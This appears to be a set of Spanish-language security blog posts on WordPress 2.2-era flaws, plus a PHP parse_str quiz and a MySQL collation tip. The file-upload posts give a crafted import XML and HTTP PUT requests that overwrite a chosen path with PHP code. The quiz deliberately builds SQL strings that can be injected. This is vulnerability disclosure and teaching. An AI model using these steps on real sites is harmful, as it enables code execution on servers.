Seguridad en WordPress

Un par de enlaces relacionados a los problemas de seguridad de WordPress:

  • Existe una propuesta para cambiar la forma en que se interactúa con la base de datos, esto es, utilizar una especie de consultas parametrizadas basadas en sprintf con el fin de evitar el gran número de problemas de SQL Injection que existe con el esquema actual, que no es otra cosa que una implementación propia de magic_quotes.
  • Entrevista a Steffan Esser sobre el estado de la seguridad de WordPress.

WordPress: Arbitrary File Upload – Parte 2

Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file en la edición de entradas y páginas (ver la función add_meta en wp-admin/admin-functions.php).

Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:

xml:
<rss>
<channel>
        <item>
                <title>Exploit</title>
                <link>http://localhost/wp/?attachment_id=49</link>
                <pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
                <dc:creator>admin</dc:creator>
                <wp:post_id>49</wp:post_id>
                <wp:post_name>exploit</wp:post_name>
                <wp:status>inherit</wp:status>
                <wp:post_type>attachment</wp:post_type>
                <wp:postmeta>
                        <wp:meta_key>_wp_attached_file</wp:meta_key>
                        <wp:meta_value>/home/vulnerable.com/public_html/wp-content/uploads/test.php</wp:meta_value>
                </wp:postmeta>
                <wp:postmeta>
                        <wp:meta_key>_wp_attachment_metadata</wp:meta_key>
                        <wp:meta_value>a:0:{}</wp:meta_value>
                </wp:postmeta>
        </item>
</channel>
</rss>

Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:

code:
PUT /wp/wp-app.php?action=/attachment/file/49 HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Se agregó otro parche para intentar solucionar este problema en wp-app.php, el cual valida el archivo que se va a leer (función get_file) o sobreescribir (función put_file).

PHP: Uso adecuado de parse_str

La siguiente porción de código es una práctica muy extendida en WordPress, sirve para que las funciones puedan tener un buen número de parámetros opcionales sin que el código sea visualmente feo:

php:
<?php
/* Funciones de WordPress */
function stripslashes_deep($value) {
         $value = is_array($value) ?
                 array_map('stripslashes_deep', $value) :
                 stripslashes($value);

         return $value;
}
function wp_parse_str( $string, &$array ) {
        parse_str( $string, $array );
        if ( get_magic_quotes_gpc() )
                $array = stripslashes_deep( $array );
        return $array;
}
/* Fin */

function get_posts( $args = '' ) {
        $defaults = array(
                'limit' => 5,
                'post_type' => ''
        );
        $args = wp_parse_str($args, $defaults);
       
        extract($args, EXTR_SKIP);
       
        $where = '';
        if ( !empty($post_type) )
                $where = "WHERE post_type = '$post_type'";
       
        $sql = "SELECT * FROM posts $where LIMIT $limit";
        // ejecutar la consulta en una base de datos MySQL
        echo htmlspecialchars($sql);
}

$limit = empty($_GET['limit']) ? 5 : (int) $_GET['limit'];

if (get_magic_quotes_gpc())
        $_GET['type'] = stripslashes($_GET['type']);
// Se usa addslashes sólo para el ejemplo.
// $type = mysql_real_escape_string($_GET['type']);
$type = addslashes($_GET['type']);
get_posts("limit=$limit&post_type=$type");
?>

Sobre el ejemplo mostrado:

  1. ¿Tiene algún problema de seguridad?
  2. ¿Qué pasa si cambiamos la línea resaltada por esta otra, tiene algún problema de seguridad?
    php:
    $where = "WHERE post_type = '". addslashes($post_type) . "'";

Para los interesados en este pequeño quiz, subí una página en la que pueden realizar sus pruebas.

Tip: Comparación de cadenas “case sensitive” en MySQL

Antes que nada, un poco de teoría sobre conjuntos de caracteres (charset) y colaciones (collations):

Un conjunto de caracteres es un conjunto de símbolos y codificaciones. Una colación es un conjunto de reglas para comparar caracteres en un conjunto de caracteres. Vamos a dejar clara la distinción con un ejemplo de un conjunto de caracteres imaginario.

Supongamos que tenemos un alfabeto con cuatro letras: 'A', 'B', 'a', 'b'. Damos a cada letra un número: 'A' = 0, 'B' = 1, 'a' = 2, 'b' = 3. La letra 'A' es un símbolo, el número 0 es la codificación para 'A', y la combinación de las cuatro letras y sus codificaciones es un conjunto de caracteres.

Suponga que queremos comparar dos cadenas de caracteres, 'A' y 'B'. La forma más fácil de hacerlo es mirar las codificaciones: 0 para 'A' y 1 para 'B'. Ya que 0 es menor a 1, decimos que 'A' es menor que 'B'. Lo que acabamos de hacer es aplicar una colación a un conjunto de caracteres. La colación es un conjunto de reglas (sólo una en este caso): “compara las codificaciones”. LLamamos a la más sencilla de todas las colaciones una colación binaria.

Pero, ¿qué pasa si queremos decir que las letras en mayúsculas y minúsculas son equivalentes? Entonces tendríamos como mínimo dos reglas: (1) tratar las letras minúsuclas 'a' y 'b' como equivalentes a 'A' y 'B'; (2) luego comparar las codificaciones. Llamamos a esto una colación no sensible a mayúsuculas y minúsculas (case-insensitive). Es un poco más compleja que una colación binaria.

La forma más sencilla de que las comparaciones que se hacen sobre determinados campos distingan entre mayúsculas y minúsculas, es definir una colación binaria para éstas.

sql:
CREATE TABLE users (
        nick varchar(20) COLLATE utf8_bin,
        name varchar(200)
) DEFAULT CHARACTER SET utf8 COLLATE utf8_spanish_ci
code:
mysql> insert into users values('alex', 'Alex');
Query OK, 1 row affected (0.00 sec)

mysql> select nick from users where nick='alex';
+------+
| nick |
+------+
| alex |
+------+
1 row in set (0.00 sec)

mysql> select nick from users where nick='aleX';
Empty set (0.00 sec)

Pero existe un pequeño detalle con esa alternativa, porque por un motivo que desconozco, los espacios que existen en la parte de la derecha no son tomados en cuenta, es decir:

code:
mysql> select nick from users where nick = 'alex   ';
+------+
| nick |
+------+
| alex |
+------+
1 row in set (0.00 sec)

Para evitar este comportamiento en columnas que tengan o no colación binaria, se puede hacer uso del operador BINARY.

sql:
SELECT nick FROM users WHERE BINARY nick = 'alex   ';

/*
De acuerdo a los comentarios de http://dev.mysql.com/doc/refman/5.0/en/charset-binary-op.html,
la siguiente consulta es mejor para los índices sean usados.
*/

SELECT nick FROM users WHERE nick = BINARY 'alex   ';
code:
mysql> select nick from users where binary nick = 'alex   ';
Empty set (0.00 sec)

Debido a mi falta de conocimiento e interés en MySQL, es posible que en esta entrada -- inspirada en un bug de una aplicación que estoy desarrollando -- haya cometido más errores de los que normalmente cometo :). Tienen los comentarios abiertos por si quieren insultarme corregirme o aportar más información. 😉

WordPress: Arbitrary File Upload

Nota: Esta vulnerabilidad se corrigió parcialmente en WordPress 2.2.1.

WordPress, como todo blogger que use este CMS debe saber, permite subir sólo determinado tipo de archivos, tarea que en general lo hace bien cuando se usa la interfase Web o XMLRPC de manera estándar.

Los datos de estos archivos, internamente se almacenan en la tabla wp_posts y wp_postmeta: en el primero se guardan el título, descripción y el tipo del archivo, además se asigna el tipo de entrada a post_type=attachment; en la segunda tabla se guarda la ruta del archivo en un campo especial denominado _wp_attached_file, adicionalmente se guardan también otras propiedades del archivo en _wp_attachment_metadata.

Por otro lado, tenemos la posibilidad de agregar campos personalizados para cada entrada o página, los cuales lógicamente son almacenados en la tabla wp_postmeta. Estos campos personalizados, en las versiones vulnerables de WordPress, permiten almacenar cualquier combinación clave=valor sin hacer ningún tipo de validación, es decir cualquiera puede agregar el siguiente campo personalizado a una entrada o página:

code:
clave   : _wp_attached_file
valor   : /home/vulnerable.com/wp/wp-content/uploads/demo.php

En el archivo wp-app.php, existe la siguiente función que permite modificar el contenido de cualquier archivo que hayamos subido usando WordPress:

php:
function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

Esa función, recibe como parámetro el ID de una entrada, luego intenta obtener la ubicación especificada en _wp_attached_file y a continuación actualiza ese archivo con los datos que hayamos enviado. Esta característica debería estar disponible sólo para aquellas entradas con post_type=attachment, pero como no existe ninguna restricción de ese tipo, es posible usar el campo personalizado que agregamos anteriormente.

code:
PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Como mencioné en la entrada anterior, esta vulnerabilidad es muy grave en sitios con WordPress MU instalado, puesto que normalmente cualquier usuario que se registre puede subir archivos al servidor. Preparé un exploit que hace lo mínimo necesario para aprovechar esta vulnerabilidad -- es mi primer script en Perl, así que no esperen mucho. 😉